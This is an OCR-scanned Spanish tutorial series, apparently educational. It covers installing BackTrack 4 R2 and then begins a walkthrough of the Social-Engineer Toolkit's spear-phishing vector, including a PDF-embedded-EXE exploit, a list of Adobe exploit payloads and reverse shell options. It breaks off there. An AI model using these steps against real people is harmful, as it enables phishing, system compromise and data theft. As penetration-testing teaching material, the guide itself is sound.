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INTRODUCCION

Es indudable que el computador se ha convertido en una herramienta indispensable para
el desarrollo humano, pero es mas sorprendente la rapidez con que la Internet, ha logrado
cautivar a millones de usuarios, para usar sus diversos servicios, desde un e-mail, hasta
servicios de compras sobre la Web.

Gracias a toda esta tecnologia computacional se puede hacer uso de muchos de estos
servicios liboremente con el s6lo hecho de conectarse a Internet. Lamentablemente, la
tecnologia no se ha ocupado solamente para el beneficio del hombre, sino que algunos
individuos sin escrupulos han traspasado los limites de la seguridad y se las han
ingeniado para crear técnicas que permiten el robo de informacion y la estafa.

Con esta guia se quiere concienciar a los usuarios del alto nivel de vulnerabilidad que se
posee y que puede ser usada por personas inescrupulosas e igualmente se pretende
demostrar qué con ayuda de ataques como, phishing y pharming, resulta méas facil
emplear Ingenieria Social.
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RENUNCIA DE RESPONSABILIDAD

Las realizadoras, NO se responsabilizan por el uso indebido o mal intencionado que el
lector haga de todo lo aqui expuesto ya que el contenido de esta guia es netamente de
caracter educativo. Sin embargo, se les recuerda a todos, que existe la Ley 1273 del 5 de
enero del 2009 en Colombia que condena las practicas del Ciberterrorismo con multas y
carcel, llamada "De la Proteccion de la Informacion y de los Datos", impuestas para aquel
que atente o vulnere sistemas de computacién o aplicaciones de otras personas naturales
0 juridicas. Igualmente no se responsabilizan de las opiniones 6 informaciones de las
distintas personas que puedan haber escrito en los diferentes articulos.

Los lectores de esta guia aceptan que en ninguin momento se reclamard
responsabilidades a los propietarios o colaboradores por los dafios que puedan causar
sobre su hardware y/o software.
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GUIA 1 Como obtener BACKTRACK 4 R2

OBJETIVOS

e Disefiar una guia que permita conocer las formas disponibles de BackTrack R2
con su respectiva ejecucion.

e Obtener, realizar y ejecutar comprobacién de cadena MD5

e Lograr conexion de red y navegacion con internet.

DESCRIPCION

BackTrack es una distribucién GNU/Linux en formato Live CD disefiada para la auditoria
de seguridad. Deriva de la unién de dos grandes distribuciones orientadas a la seguridad,
el Auditor + WHAX. Incluye una larga lista de herramientas de seguridad, entre las que
destacan numerosos scanners de puertos y vulnerabilidades, archivos de Exploits,
sniffers, herramientas de analisis forense, herramientas para la auditoria Wireless, etc.

Se ha ampliado desde su creacion 4 veces haciendo que cada version sea mejor que la
anterior para lograr que sea un marco de pruebas de penetracion confiable. BackTrack 4
R2 es la segunda actualizacion para la rama 4 en donde se incluye:

e Kernel 2.6.35.8

e Soporte para USB 3.0.

e Soporte para nuevas tarjetas wireless.

o Renovacion de Fluxbox para el ambiente KDE.

e Metasploit reconstruido desde cero, MySQL db_drivers trabajando de inicio.
e Actualizacion de Paquetes.

Esta guia paso a paso describira las formas en las que se encuentra BackTrack con su
respectiva ejecucion y las configuraciones basicas para su uso.

P

GUIA

Para conseguir BackTrack 4 R2 es indispensable tener una conexion activa a internet;
existen varias paginas que permiten realizar la descarga (Ej.: softonic), pero, en este
caso, se sugiere que sea realizada directamente de la pagina de BackTrack.

Se encuentra disponible como .iso ' e instalado en maquina virtual® (ver imagen 1).

'Disponible el 09-02-2011 en http://www.backtrack-linux.org/download.php?fname=bt4r2
2 Disponible el 12-02-2011 en http://www.backtrack-linux.org/download.php?fname=bt4r2vm

©080



http://es.wikipedia.org/wiki/Distribución_Linux�
http://es.wikipedia.org/wiki/GNU/Linux�
http://es.wikipedia.org/wiki/LiveCD�
http://es.wikipedia.org/w/index.php?title=Auditor_Security_Collection&action=edit&redlink=1�
http://es.wikipedia.org/wiki/WHAX�
http://es.wikipedia.org/wiki/Exploit�
http://www.backtrack-linux.org/download.php?fname=bt4r2�
http://www.backtrack-linux.org/download.php?fname=bt4r2vm�

Guias practicas para uso de técnicas de ingenieria social con la herramienta SET incluida en la
distribucidon BackTrack 4 R2

80 Image

Name:: bt4-r2.iso Size: 2000 MB Torrent
MD35: 9a94caa0e980a7331e9abcld4c42c9a9

() vmware

Name:: bt4-r2-vm.tar.bz2 Size: 2400 MB Download Torrent
I 95c8b727d01b96bedf84381065cd9dae

Imagen 1- Descarga ISO y maquina virtual
COMPROBACION MD5

La cadena de cédigo md5 es usada para la comprobacion de integridad de archivos
binarios siendo utilizable en cualquier UNIX o0 MS-DOS/WINDOWS. Es ideal para verificar
si determinado archivo ha descargado correctamente, o, en el caso de una imagen 1SO,
no contenga errores antes de ser grabada en un CD o DVD. Puede ser realizada de dos
formas, la primera con el uso de comprobacién por lineas de comandos y la segunda con
una aplicacién gréfica.

Comprobacion por linea de comandos (en Windows)
A. Se debe descargar y descomprimir la utilidad md5.exe®

B. De los archivos descomprimidos, copiar el md5.exe y pegar en la ruta
C:\Windows\System32

C. En una consola de cmd, se debe digitar cd .. hasta legar a C:\, después, se
ejecutara la instruccion md5 (md5 <ruta nombre del archivo>) seguido de un
enter.

® Disponible el 09-08-2010 en http://www.fourmilab.ch/md5/
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i v = |

BN Simbolo del sistema

Microsoft Windows [Versidn 6.1.7608081
Copyright <c? 2800? Microsoft Corporation. Reservados todos los derechos.

C=sUserssL¥YJ>cd ..
C-~Uzersrcd ..

C:»omds Cisllzserss LY JwDezsktopsbhtd—»2 . izo
TAT4ACARBETSEATII1LETABCIDAC42CHA? C:slserssLYJ“Desktopsbtd—»2.is0

G2

Imagen 2 - Comprobacion MD5 con herramienta de lineas de comandos

Compare la cadena resultante con la encontrada en la pagina de descarga ya que la
herramienta no lo permite

Comprobacion con utilidad grafica

Existen varias utilidades gratis para Windows, permitiendo la comprobacion de firmas
digitales de forma grafica. Para este caso, se usara md5check®.

1. Se debe descargar, descomprimir y ejecutar la utilidad.

A. Se busca la ubicacion del archivo (Ver imagen 3)

B. Con la ruta del archivo ya seleccionada, se debe calcular la cadena de cddigo
md5

C. Pegar el md5 del archivo (ver cadena disponible en la pagina de descarga)

D. El color verde indica que coinciden los md5 y que el archivo descargado
corresponde al que se encuentra en la pagina de descarga.

* Disponible el 09-08-2010 en http://angusj.com/delphi/md5check.zip
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— Filename

I CUsers\Ly J\Desktopibtd-rZ.iso Browse ...

Calculate MDS Checksum

— Compare MDS Checksums

] SAS4CAADESSNATIITESABCIDAC42COA5

I Sa94caaledd0ar3id1ebabold 4::42::939|

Imagen 3 — Utilidad grafica de comprobaciéon de cadena MD5

MODOS DE EJECUCION

Puede ser ejecutado desde una live CD, live USB, maquina virtual o ser instalado como
sistema operativo en un disco duro.

Quemado de DVD

Usando una aplicacién que permita grabar imagenes de cd/Dvd, sera grabada la imagen
del BackTrack 4 R2 a la menor velocidad del quemador, 8x o0 4x, para que pueda ser
usada en la mayoria de las unidades lectoras.

Arranque del live cd

Se debe reiniciar el computador con el DVD de BackTrack 4 R2 dentro. Después,
modificar el boot de arranque de la maquina indicandole que cargue primero la unidad de
cd/Dvd pulsando F2 o Esc o F10...etc, esto depende de la bios de la placa madre del
computador. Cuando ya ha cargado, se muestra en pantalla un menu que indica las
opciones para poder acceder. Generalmente se accede por la primera opcioén (si existen
problemas al cargar se puede entrar por la segunda, tercera o cuarta opcion).
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Start BackTrack FrameBuffer (1824x768)
Start BackTrack FrameBuffer (888xG688)
Start BackIrack Forensics (no swap)
Start BackTIrack in Safe Graphical Hode
Start Perszistent Live CD

Start BackIrack in Text Mode

Start BackTrack Graphical Mode from RAM
Memory Test

Boot the First Hard Disk

back | track:

Use the T and 4 keys to select which entry is highlighted.
Press enter to boot the selected 0S5, ‘e’ to edit the
commands before booting, or 'c’ for a command-line.

Imagen 4 - Opciones de Acceso a BackTrack 4 R2

Después, se procedera a llegar a la interfaz grafica con el comando startx o xconf
(autoconfigura la tarjeta grafica). Si por algun motivo las opciones anteriores no funcionan
ingrese por la cuarta opciéon del menu de acceso a BackTrack (Start Backtrack In Safe
Graphical Mode).

En algunos casos puede pedir login que corresponde como usuario a root y como
contrasena toor.
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install.sh

e E@ e X E may 12 @30
Imagen 5 — Entorno Grafico de BackTrack 4 R2

MAQUINA VIRTUAL.

Descargue la imagen de BackTrack 4 R2 pre-instalada en una maquina virtual. Seguido a
esto, ejecute VMware Workstation y proceda a iniciar la maquina de BackTrack, puede
realizarse de dos formas. La primera es en el menu file-open-<ubicacién de la maquina>.
La segunda, en el menu de inicio (home) “open existing VM or team” <ubicacion de la
maquina>
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,

§1Edi‘t View VM Team Windows Help

wre een OEee D= @

Sidebar i Home 3
[» Powered On j
@ Favorites VMware Workstation

WMware Workstation allows multiple standard operating systems and their applications to
run with high performance in secure and transpartable virtual machines. Each virtual
machine is equivalent to a PC with a unigue network address and full complement of
hardware choices,

.

oy
L Create a new virtual machine. Install and run a variety of standard
operating systems in the virtual machine.
New Virtual
Machine
e
wskd ] .
Create a new team. Add several virtual machines and connect them
I with private team LAN segments.
Mew Team
b, | . . . o
g..l » Browse for virtual machines or teams and select one to display in this
| 'L._-JJ panel, Interact with the guest operating system within this display as 2

/. you would & standard PC.

Open Existing
WM or Team

—— =

Imagen 6 — Panel principal de VMware Workstation 7

La maquina puede pedir una autenticacion que corresponde como usuario a root y como
contrasena toor.
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F
| BT4-R1 - VMware Workstation o [ B |

File | Edit View VM Team Windows Help
sule ok OEae Dl &
Sidebar * A 5 pa-r1

= [ Powered On Paravirtual SCSI module: dome
(3 BT4-RL Guest filesysten driver: done
@ Favorites Mounting HGFS shares: failed
Guest memory manager: done
Guest vmxnet fast network device: done
UM communication interface: done
UM communication interface socket family: done
Blocking file systen: done
Guest operating system daemon: done
Virtual Printing daemon: done
Loading cpufreq kernel modules...done (none).
Loading ACPI modules. ...
Starting ACPI services....
Starting system log daemom....

Doing Wacom setup....

Gtarting kernel log daemonm....

Starting system message bus: dbus.

PUFreq Utilities: Setting ondemand CPUFreq goverwor...disabled, governor not awvailable...done.
Starting Hardware abstraction layer: hald.

Starting System Tools Backends: system-tools-backends.

m

BackTrack 4 PunSauce bt ttyl
t login: root
assuord:

To direct input to this VM, click inside or press Ctrl+G. ) g 'ﬁ @ | =

Imagen 7 — Login
Instalacion como sistema operativo en disco duro

Inicialmente se bootea el live cd en la maquina a instalar. Luego, se ingresa por una de
las opciones del menu hasta llegar al entorno grafico. Haciendo doble clic en el bash
install.sh ubicado en el escritorio o digitando en una consola ubiquity, iniciara un
asistente de instalacion.

En la primera pantalla se seleccionara la ubicacion geografica.
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Install

system.

Step 2

Selected city:

Where are you?

Select a city in your country and time zone. If the indicated current time is incorrect even
after selecting the correct time zone, you can adjust it after rebooting into the installed

Bogota

Selected region; Colombia

Time zone: COT (GMT-5:00)

of 7

Current time: 0B:30:28

| quit

Imagen 8 — Asistente de instalacion, Ubicacion Geografica

En la siguiente, se escoge el idioma del teclado de la maquina

@89 e =ax

Keyboard layout
Which layout is most similar to your keyboard?
SweuET
Switzerland

Syria

Tajikistan

Thailand

Turkey

usA

Ukraine

United Kingdam
Uzbekistan

Vietnam

L]

= [

USA - Alternative international (former us_int

USA - Cherokee
USA -

USA -

Classic Dvorak

Colemak

- Dvorak

- Dvorak international

- Group toggle on multiply/divide key
- International (AltGr dead keys)

- International (with dead keys)

]

tiea 1 af handad Pueareals

You can type into this box to test your new keyboard layout.

l

Step 3 of 7

[+]

| Qui

H Back “[ worward I

Imagen 9 - configuracion de teclado
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Ahora aparecen las opciones de particionamiento del disco duro. Si se desea instalar en
todo el disco se deja la opcién por defecto, de lo contrario, escoja la segunda para un
particionamiento manual.

Install

Prepare disk space

How do you want to partition the disk?

Before:

W BackTack 4 final
100%

After:

@ Guided - use entire disk
@ IDE1 master (hda) - 12.9 GB VMware Virtual IDE Hard Drive
) Manual

Step 4 of 7 [ Quit H Back ‘H Forward |

Imagen 10 — Tabla de particionamiento

Aparece un resumen de la configuracidon que se va a usar al momento de la instalacion.
Para finalizar el proceso del asistente solo basta indicarle instalar y el continuara solo el
proceso.
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Ready to install

Your new operating system will now be installed with the following settings:

Language: English [«
Keyboard layout: USA
Mame:

Login name:

Location: America/Bogota
Migration Assistant:

If you continue, the changes listed below will be written to the disks.
Otherwise, you will be able to make further changes manually.

WARNIMG: This will destroy all data on any partitions you have removed as
well as on the partitions that are going to be formatted.

The nartitinn tahles nf the follnwinn devires are rhanned: @
Step 7 of 7 Quit ] [ Back ] I Install I

Imagen 11 — Recopilacion de informacion para la instalacion

Iniciar BackTrack 4 R2 desde un dispositivo USB

En este proceso se busca realizar la instalacién de BackTrack 4 R2 en un dispositivo USB
usando el programa unetbootin® (versién 2.1).

Es necesaria una USB de capacidad minima de 2GB y tener en cuenta que antes de la
instalacion se debe formatear el dispositivo.

Una vez descargada la herramienta se procede a su ejecucion, ver imagen 12.

1. Se selecciona diskimage y luego se busca la ubicacion de la imagen de
BackTrack 4 R2

2. Se indica el tipo de dispositivo a usar (USB) y la ruta de acceso de este (E:, F: ..
etc)

3. Se procede a iniciar la operacion

® Disponible el 10-08-2010 en http://unetbootin.sourceforge.net/unetbootin-windows-latest.exe
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71 Distribution == Select Distribution == - | [== Select Version ==

Welcome to UMethootin, the Universal Nethoat Installer. Usage:

1. Select a distribution and version to download from the list above, or manually specify files to
load below.
2. Select an installation type, and press O to begin installing.

1

@ Diskimage 150 | C:\Users\Ly)\Desktop\btd-r2.iso

) Custom Kernel: D Initrd:

Options:

[] show All Drives (Use with Care) 2

Type: |USE Drive ~ | Drive: |Ez\ -

Imagen 12 - Interfaz grafica de Unetbootin 2.1

Cuando el proceso de instalacion termina, el software da la opcion de reiniciar la maquina
y usar el dispositivo.

COMIENCE A TRABAJAR CON BACKTRACK 4 R2

Para un rendimiento mas efectivo, se recomienda la personalizaciéon de BackTrack 4 R2,
iniciando por la configuracion del idioma del teclado, con el fin de evitar la confusion al
momento de teclear algun comando. Para esto se da click derecho sobre la bandera que
se encuentra en la barra de inicio en la parte derecha y se selecciona la opcién configure
(Verimagen 13).
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install.sh

KDE Keyboard Tool
Efi= USA
[.3 Belgium
. Brazil
i} ™= Germany
it Hungary
212 United Kingdom
EQ switzerland
Bid France
il Italy

“.. Configure... I

Help

o — @ Quit Ctri+Q

TR e@ e X B
Imagen 13 — Configuracion de idioma de teclado

B 12 009>

Seguido a esto, aparece una ventana en donde se escoge el idioma del teclado del
computador, si no se encuentra en la lista de la parte derecha de la pantalla, debera ser
agregado de la lista izquierda, luego click en Apply.
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Configure - KDE Control Module

Layout Igwitching Options |5kb Options l

[%| Enable keyboard layouts

Keyboard model:

[Generic 104-key PC |vl
Available layouts: Active layouts:

(L2l (2] Layout Keymap Variant Label <
Eil Slovenia L= ] USA_ us
South Africa [3 Belgium be
ozl
A Sri Lanka I Germany de
= sweden i Hur1gary_ hu
EA switzerland £ United Kingdom gb
=% Syria Ed Switzerland ch
ZiE Tajikistan
Add => =< Remove

ium Thailand [ l [ l E] E]
Turkey |:| Layout variant: :Iz]
¥ Ukraine @ = .
€1 I D)
Command: [ l

Imagen 14 - Idiomas de teclado

Ahora se debe configurar la red para navegar en internet, puede realizarse de modo
gréfico o por DHCP. Para el modo gréfico, click en: inicio/service/network/start network.
Luego, se procede a probar la navegacion hacia internet realizando una busqueda en el
navegador o usando ping a una direccion ip o pagina web (Ej.: en consola, ping
www.google.com)
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>

All Applications
L Backtrack 4
) Internet 4
< s : ¥ ¢ BEEF 4
*s Graphics Y & GPSD :
40 Multimedia * @ HTTPD E
“ System Y & Mysql K
o Utilities ¢ < NETWORK | %, Start NETWORK
.E KSnapshot | @ PCSCD | 7%, Stop NETWORK
| Actions | € SNORT M %L WICD curses interface
M Settings ’: € SSH Y %= WICD gtk interface
& sSystem Menu Y @ TFTPD k

Run Command... € VNC L4
=l Lock Session [
@ Log Out...

Tt m@=e ¥ - @iy 102 Ohiid

Imagen 15 - Ini'ciar servicio de red de modo grafico

La configuracion de red con DHCP se realiza en una consola en donde se debe digitar:

o start-network (inicia el servicio de red)

o ifconfig (Permite configurar una interfaz de Red y ver el status de ésta)

e dhcped (se usa para verificar si esta instalado el paquete de DHCP)

e apt-get install dhcpcd (se usara en caso que no se encuentre instalado)

¢ dhcpced <interfaz> (En donde interfaz puede ser eth0O, wlanO, etc. Es usado para
que asigne una direccion ip a la interfaz, luego se usa ctrl+c para detener)

e se comprueba la navegacion hacia internet realizando una busqueda en el
navegador o usando ping a una direccion ip o pagina web (Ej.: en consola, ping
www.google.com)

BACKTRACK EN ESPANOL

En esta parte, se descargaran los paquetes necesarios para el cambio de idioma a
espanol del entorno grafico KDE. Se debe tener encuentra que el cambio de idioma no
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aplica a las aplicaciones contenidas en el BackTrack R2 y que la descarga e instalacion
de los paquetes debe realizarse con el usuario root.

En una consola, se debe digitar las siguientes lineas de comando:

apt-get install language-pack-es

apt-get install language-pack-es-base

apt-get install language-pack-kde-es

apt-get install language-pack-kde-es-base
apt-get install language-support-es

apt-get install language-support-translations-es
apt-get install language-support-writing-es

Algunos de estos paquetes traen otros adicionales y requieren de un permiso para seguir
descargando, en este caso se debe indicar Y para continuar.

Luego, se procede a verificar la version del entorno grafico KDE, en el menu de
inicio/settings/panel center.

BE Control Center
Eile View Settings Help

S —

¥ Appearance & Themes
@ Desktop

@ Internet & Network

“» KDE Components

& Peripherals

%3 Regional & Accessibility
. Security & Privacy

& Sound & Multimedia

< System Administration

KDE version:

User:
Hostname:
System:
Release:
Machine:

Use the "Search” field if you are unsure where to look for a particular configuration option.

ST I L e L LT
Imagen 16 — Version del entorno grafico KDE

Esto es necesario ya que segun la version instalada se descarga el ultimo paquete.
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Si la version que maneja es KDE 3.5.X se debe instalar
apt-get install kde-i18n-es

Y sila versién es KDE 4.X.X se debe instalar

apt-get install kde-I10n-es

Al concluir la instalacién, se ingresa al menu de inicio- settings/Regional &
Accessibility/Country/Region & Language, en donde se abrira la ventana de
configuracién de KDE. Se procede a agregar el nuevo idioma en “Add Language” —
“Other” — Spanish. Después se aplican los cambios (apply) y se debe reiniciar.

Configure - KDE Control Module

Country or region: Default

Languages: [Us English Add Language
uUs English '

| Install New Language || Uninstall Language Select System Language '

Numbers: 1.234,567.89 /-1,234,567.89

Money: % 123,456,789.00 / % (123,456,789.00)
Date: Tuesday 10 August 2010

Short date: 2010-08-10

Time: 12:24:05

Help Defaults (8] Cancel

< -TQQ il @ > % L :-v_ %= Configure - KDE Contre EViE sy Qj 1 2 =E E"' »

Imagen 17 — Modulo de configuracion del entrono grafico KDE
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Cuando se haya reiniciado la maquina el menu de BackTrack aparecera todo en espafol.

install.sh

G cias * . Administracién del sistema 5
Ei Afadir y quitar... - Gestor de paguetes ¥ Aspecto y temas +

Carpetas compartidas - Componentes de KDE L4
@ Gentoo WMl Escritorio L4

%4 Hora y fecha - Hardware r
{3, KPowersave - Monitor de carga de la bateria ' Internet y Red 2
“ Partition Editor i@ Navegador Web 4

servicios ~ Periféricos

N

All Applications | FRUSGAROSY § 8 Accesibilidad :
v (=) :
< Backtrack B vakuake | Accesos rapidos de teclado i’
¥ _ £ .
i Internet € ettercap - Ef Disposicién del teclado E
@ Services b s Origenes de \ |niroducir acciones
% Graficos M W KinfoCenter

251 Pais/Region e idioma

£() Multimedia L2 KSysGuard - Monitor de rendimiento

»
= —5 & Konsole - Programa de terminal
= Utilidades » T i
Cos KSnapshot
Actions
1- Settings y
= Systermn Menu >
Run Command...
= Lock Session
@ Log Out...

-

Thm@as ¥ F
Imagen 18 - Interfaz grafica KDE en espafnol

i
E
Eo
ca
LO
-

Ya se ha realizado la configuracion basica y se ha cambiado el idioma, ahora, se
especificaran algunos métodos para que modifique la apariencia del entorno grafico, es
decir, color, fondo de pantalla, entre otros.

Inicialmente, se personalizara la pantalla, para esto con click derecho sobre cualquier
parte del “escritorio” aparecera un menu en donde se escoge la opcion configurar
escritorio. Se abrird una ventana donde podra escoger la configuracion de fondo de
pantalla, comportamiento, escritorios multiples y salva pantallas.
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—Fondo

Modificacion de las preferencias del fondo
Setting for desktop: | All Desktops H
. () Ninguna imagen
Comportamiento

® Imagen: [Bt4

o - () Presentacién:
Escritorios miltiples

—Opciones

Salvapantallas

Posicion: [ Escalary recortar

Colores: [Plano |vl

[ Opciones avanzadas l
|

[ Obtener nuevos tapices l

Mezcla: [Sin mezcla |vl
[ Ayuda H Predeterminado l

Imagen 19 — Configuracion de fondo de escritorio

Ahora, se modificara la apariencia del panel de KDE, dando click en la barra, se
desplegara una serie de opciones en donde se escoge menu de panel/configuracion de
panel. Se abrirda una venta y en esta se podra hacer la configuracion que se desea.

Podra cambiar la ubicacion y el color de la barra de tareas, especificar que menus y con
que configuracién usar, entre otros.
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Configurar - Panel de KDE

! Configuracion de la apariencia del panel
— Posicion —Pantalla
Acuerdo

[ |
Ol:-.l..lrlllz:ar g 8
Menus :] C] C]
r':; ~ Longitud
-

=
S [%| Expandir para ajustar a los contenidos

Barra de tareas

— Tamafo

[Pequeﬁo | vl

[ Ayuda H Predeterminado l [ Aceptar H H Cancelar

Imagen 20 - Configuracion de apariencia de panel

CONCLUSIONES

o El uso de BackTrack 4 R2 en Live CD y Live USB es util por su portabilidad, ya
que no requiere instalacién y puede arrancarse en casi cualquier equipo en unos
pocos minutos. Por su naturaleza no persistente, cuando se reinicia el equipo se
borra toda la informacion almacenada en la RAM eliminando todo el rastro y la
actividad en el sistema operativo portable.

e Para conservar los cambios en la configuracion del BackTrack es necesaria su
instalacion como sistema operativo en una particién del disco duro.

e Para proporcionar la seguridad de que un archivo descargado de Internet, no se
ha alterado se debe realizar la comprobacion de cadena md5 antes de ser
guemado en un CD o DVD.

e Se debe configurar la navegacién hacia internet para completar pasos de la
configuracion del sistema operativo

REFERENCIAS

e Backtrack 4 R2 (n, d), Consultado el 3 de Septiembre de 2010, de
http://www.backtrack-linux.org/
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GUIA 2 — SET / Spear-Phishing Attack Vectors

INTRODUCCION

INGENIERIA SOCIAL

Es un conjunto de técnicas psicoldgicas y habilidades sociales que permiten que las
personas realicen voluntariamente actos que normalmente no harian. Se vale de los
errores y las fallas en la seguridad informatica. Tiene tres tipos. El primero, técnicas
pasivas como lo es la observacion; el segundo, técnicas no presenciales como el uso del
teléfono, carta, fax o mail; y el tercero, técnicas presenciales que a su vez tiene dos tipos:
las agresivas y las no agresivas. Las agresivas son el uso de suplantacion de identidad,
extorcién o presion psicoldgica. Y las no agresivas como la busqueda en la basura
(Dumspter Diving), mirar por encima del hombro (Shoulder Sourfing), el seguimiento de
personas, entre otras.
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Existen herramientas y técnicas (Phishing, Spyware, Spam) creadas con el fin de atraer
usuarios a determinadas paginas donde se les ofrece algun producto ilicitamente, otros
con el fin de llevarlos engafados a una pagina web idéntica a la de algun banco, o entidad
que permita hacer pagos por Internet como PayPal, donde se le solicita al usuario el
ingreso de sus datos personales para luego utilizarlos de manera ilegal.

Estas herramientas pueden ser usadas para la recopilacion de informacion de
sospechosos o delincuentes.

Social Engineering Toolkit (SET), es un kit de herramientas que ayuda en la tarea de
realizar ataques de ingenieria social, permite suplantar facilmente la identidad de un sitio
determinado, o enviar ataques por mail a las cuentas de correo de alguna compania o
persona, infectar memorias USB, etc, fue disefiado por David Kennedy (ReL1K).

Estas herramientas se usan para verificar el nivel de vulnerabilidad de una empresa ante
ataques de ingenieria social y para tomar las medidas correspondientes. La version
actual es la 1.1 y fue liberada en diciembre de 2010.

OBJETIVOS

e Describir las formas de ejecucion del SET

o Explicar detalladamente el vector de ataque de spear-phishing con el payload PDF
Embedded EXE Social Engineering.

e Especificar la funcién de cada opcidn de ataque que genera cada payload

¢ Identificar las vulnerabilidades que explota cada payload en las maquinas victimas

DESCRIPCION

Esta guia tiene como finalidad describir la ejecucién de set y explicar el vector de ataque®
Spear-phishing explotando los fallos y vulnerabilidades que se encuentran en algunas de
las versiones de adobe acrobat y adobe Reader.

EJECUCION SET

SET tiene varios ataques que se usan para explotar las vulnerabilidades de un sistema de
manera sencilla mediante una interfaz de linea de comandos o entorno grafico
(Navegador Web).

® Pasos para lograr un ataque
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Al ejecutarlo, lo primero que se ve es un menu que ofrece una gran cantidad de opciones
para lanzar el ataque de ingenieria social, desde la creacién de correos fraudulentos,
paginas que al visitarlas infectan maquinas, archivos multimedia que permite obtener
acceso al equipo de la victima, la posibilidad de enviar correo masivo, entre otros.

Linea de comandos

D. Abrir una consola de comandos ™ 3

E. Seguido a esto digitar la ruta: cd /pentest/exploits/SET (ver imagen 1)
F. Luego use: ./set para ejecutar el bash’ de set (ver imagen 2)

Session Editar Yer Marcadores Preferencias Ayuda

t:~# cd /pentest/exploits/SET/

i #I

"|| @ Terminal |

Imagen 21 — Ruta para ejecutar set

” Programa informaético cuya funcién es interpretar ordenes.
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root@bt: /pentest/exploits/SET - Terminal - Konsole

Session Editar Ver Marcadores Preferencias Ayuda

cman om
-engineer.org

| select from the menu:

i @ Terminal |

t\Q Ll @ Pz § % v & root@bt: /pe & root@bt: /ps T ey ;} 1 2 EH :E >
Imagen 22 - Ejecucién SET

ENTORNO GRAFICO

A. Para ejecutar SET en entorno grafico se debe ingresar al menu inicio e ir la
siguiente ruta: Backtrack/Penetration/Social Engineering Toolkit/S.E.T-Web
(ver imagen 3), al momento en que se realiza el procedimiento anterior se ejecuta
el Demonio de la aplicacion
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install.sh

links

All Applications

|~ Backtrack F ¢ Information Gathering »
) Internet * @ Network Mapping »
< Services Y @ Vulnerability Identification »
s Graficos ¥ @ web Application Analysis ¢
0 Multimedia Y @ Radio Network Analysis »

iy

- . a % i PR o
= Sistema < P n ! @ ExploitDB
« Utilidades * @ Privilege Escalation ' & Fast Track
% KSnapshot | ® Maintaining Access Y @ Inguma
[ Actions | @ Digital Forensics ¥ @ Metasploit Exploitation Framework
3 5 H i - - r = - B e
LRI . Social Engineering Toolkit ~ SC
(= o | 5
# System Menu |17 5. ET-Web =, Sapyto

Run Command... . 5 E.T-AUtomation

= Lock Session “ S.E.T-Update

@ Log Out...
W ™| @ uF %A v 2 root@bt: /p &F root@bt: /i = ey ;‘; 1 B2
Imagen 23 — Ruta ejecucion interfaz web
Nota:

La ventana que se abre después de seguir la ruta de la interfaz web (ver imagen 4)
debe permanecer abierta durante todo el proceso ya que si se cierra, el demonio®
deja de correr y dejara de funcionar la aplicacion en entorno grafico.

8 . 74 . . .
Proceso informatico que se ejecuta en segundo plano, es decir que no es controlado directamente por el
usuario.
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Terminal - S.E.T-Web

Session Editar Ver Marcadores Preferencias Ayuda

The Social-Engineer Toolkit
Command Center

May the pwn be with you

All results from the web interface will be displayed
in this terminal.

[#] Interface is bound to http://127.8.0.1 on port 44444 (open browser to ip/por I
2 = |

& Terminal |

Imagen 24 — Ventana Demonio SET

B. Luego se debe ejecutar el navegador web (Mozilla Firefox) en donde se digitara en
la barra de direcciones la direccion http://127.0.0.1:44444
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The Social-Engineer Toolkit Web Interface - Mozilla Firefox
Eile Edit Wiew History Bookmarks Tools Help

] 3 2 [[o|http:y127.0.0.1:44444) ™)l [G= [coodls

B BackTrack Linux [loffensive-Security [o)Tiger Security [BExploit Database Yy Aircrack-ng

Done I@

e 5{9 -g == ¢ [ [=|"| 7 Terminal - s I@ The Social-t. Ty gy 1 2 fg:32

Imaéeh 25 - Interfaz grafica

SPEAR-PHISHING ATTACK VECTORS

Spear phishing es un ataque dirigido a un objetivo especifico que consiste en el envio de
mensajes de correo electrénico para obtener acceso al sistema informatico. Si la victima
hace clic en vinculos o abre archivos adjuntos de un mensaje de correo electrénico, una
ventana emergente o un sitio Web desarrollado, puede convertirse en victima de un robo
de datos de identidad y poner en peligro su informacion.

Para ejecutarlo en linea de comandos, en el menu inicial de SET, se debe seleccionar la
opcion 1 (Spear Phishing Attack Vectors)
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Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack

Teensy USB HID Attack Vector

LN s Ld R

= Cn

SM5 Spoofing Attack Vector

Update the Metasploit Framework

. Update the Social-Engineer Toolkit
18. Help, Credits, and About

11. Exit the Social-Engineer Toolkit

Enter your choice: 1 I
Imagen 26 - Menu inicial SET

Seguido a esto aparece un submenu que tiene 4 opciones:

Perform a Mass Email Attack

Create a FileFormat Payload

Create a Social-Engineering Template
Return to Main Menu

Enter your choice: [}
Imagen 27 — Opciones Spear Phishing Attack Vectors

Permite realizar un ataque masivo de correo electrénico

Crea un formato de archivo con carga danina

Crea una plantilla de ingenieria social (asunto y contenido del mensaje a enviar)
Regresa al menu principal

Pon~

Para este caso se usara la opcion 1 que mostrara un listado del formato de exploits
(payload) a enviar (ver Anexo 1).
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Enter your choice: 1

Select the file format exploit you want.
The default is the PDF embedded EXE.

PAYLOADS

SET Custom Written DLL Hijacking -Attack Vector (RAR, ZIP)
. Adobe Flash Player 'Button' Remote Code Execution

. Adobe CoolType SING Table 'unigueName' Overflow

. Adobe Flash Player 'newfunction' Invalid Pointer Use

. Adobe Collab.collectEmailInfo Buffer Owverflow

. Adobe Collab.getIcon Buffer Overflow

. Adobe JBIG2Decode Memory Corruption Exploit

. Adobe PDF Embedded EXE Social Engineering

. Adobe wtil.printf() Buffer Overflow

18. Custom EXE to VBA (sent wia RAR] [RAR reguired)

11. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
12. Adobe PDF Embedded EXE Social Engineering (NOJS]

LB WK

= Cn

w0 o

Imagen 28 - Lista de formato de Exploits a usar

En el momento en que se escoge el formato del payload, se debe seleccionar entre usar
un PDF antes creado o uno en blanco.

Enter the number you want (press enter for default): 8
You have selected the default payload creation. SET will generate a normal PDF with embedded EXE

. Use your own PDF for attack
2. Use built-in BLANK PDF for attack

Enter your choice (return for default): I

Imagen 29 - Seleccion de archivo PDF

Luego se desplegara un menu que contiene una lista de carga maliciosa (ver imagen 10).

Nota:

El menu que lista las opciones de carga maliciosa varia segun el payload (exploit) que se
desee ejecutar. Para ver la descripcion de todas las opciones del de carga maliciosa ver
Anexo 2.
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1. Windows Rewverse TCP Shell Spawn a command shell on victim and send back to attac
ker.

2. Windows Meterpreter Reverse TCP Spawn a meterpreter shell on victim and send back to a
ttacker.

